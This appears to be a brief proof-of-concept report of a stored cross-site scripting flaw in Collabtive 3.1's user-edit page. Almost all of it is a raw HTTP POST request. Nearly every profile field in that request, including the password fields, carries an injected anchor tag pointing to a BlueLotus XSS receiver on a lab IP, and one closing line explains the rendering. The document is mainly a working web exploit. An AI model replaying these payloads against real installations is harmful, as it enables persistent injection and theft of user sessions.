XSS storage vulnerability

[ki9mu]

POST /collabtive31/manageuser.php?action=edit HTTP/1.1
Host: 192.168.157.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------27687000601228424248921889151
Content-Length: 3518
Origin: http://192.168.157.128
Connection: close
Referer: http://192.168.157.128/collabtive31/manageuser.php?action=editform&id=1
Cookie: activeSlideIndex=0; acc-projects=block; projecthead=none; PHPSESSID=0vulrcl5046jtkkk50mjkenga0
Upgrade-Insecure-Requests: 1

-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="name"

ki9mu
-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="userfile"; filename=""
Content-Type: application/octet-stream


-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="file-avatar"


-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="company"

<a href="http://192.168.157.128/BlueLotus_XSSReceiver-master/">show detail</a>
-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="email"

[email protected]
-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="web"

<a href="http://192.168.157.128/BlueLotus_XSSReceiver-master/">show details</a>
-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="tel1"

<a href="http://192.168.157.128/BlueLotus_XSSReceiver-master/">show details</a>
-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="tel2"

<a href="http://192.168.157.128/BlueLotus_XSSReceiver-master/">show details</a>
-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="address1"

<a href="http://192.168.157.128/BlueLotus_XSSReceiver-master/">show details</a>
-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="zip"

<a href="http://192.168.157.128/BlueLotus_XSSReceiver-master/">show details</a>
-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="address2"

<a href="http://192.168.157.128/BlueLotus_XSSReceiver-master/">show details</a>
-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="country"

<a href="http://192.168.157.128/BlueLotus_XSSReceiver-master/">show details</a>
-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="state"

<a href="http://192.168.157.128/BlueLotus_XSSReceiver-master/">show details</a>
-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="gender"

<a href="http://192.168.157.128/BlueLotus_XSSReceiver-master/">show details</a>
-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="locale"

<a href="http://192.168.157.128/BlueLotus_XSSReceiver-master/">show details</a>
-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="admin"

<a href="http://192.168.157.128/BlueLotus_XSSReceiver-master/">show details</a>
-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="oldpass"

<a href="http://192.168.157.128/BlueLotus_XSSReceiver-master/">show details</a>
-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="newpass"

<a href="http://192.168.157.128/BlueLotus_XSSReceiver-master/">show details</a>
-----------------------------27687000601228424248921889151
Content-Disposition: form-data; name="repeatpass"

<a href="http://192.168.157.128/BlueLotus_XSSReceiver-master/">show details</a>
-----------------------------27687000601228424248921889151--

I think this is data area,but html render javascript as hyperlink.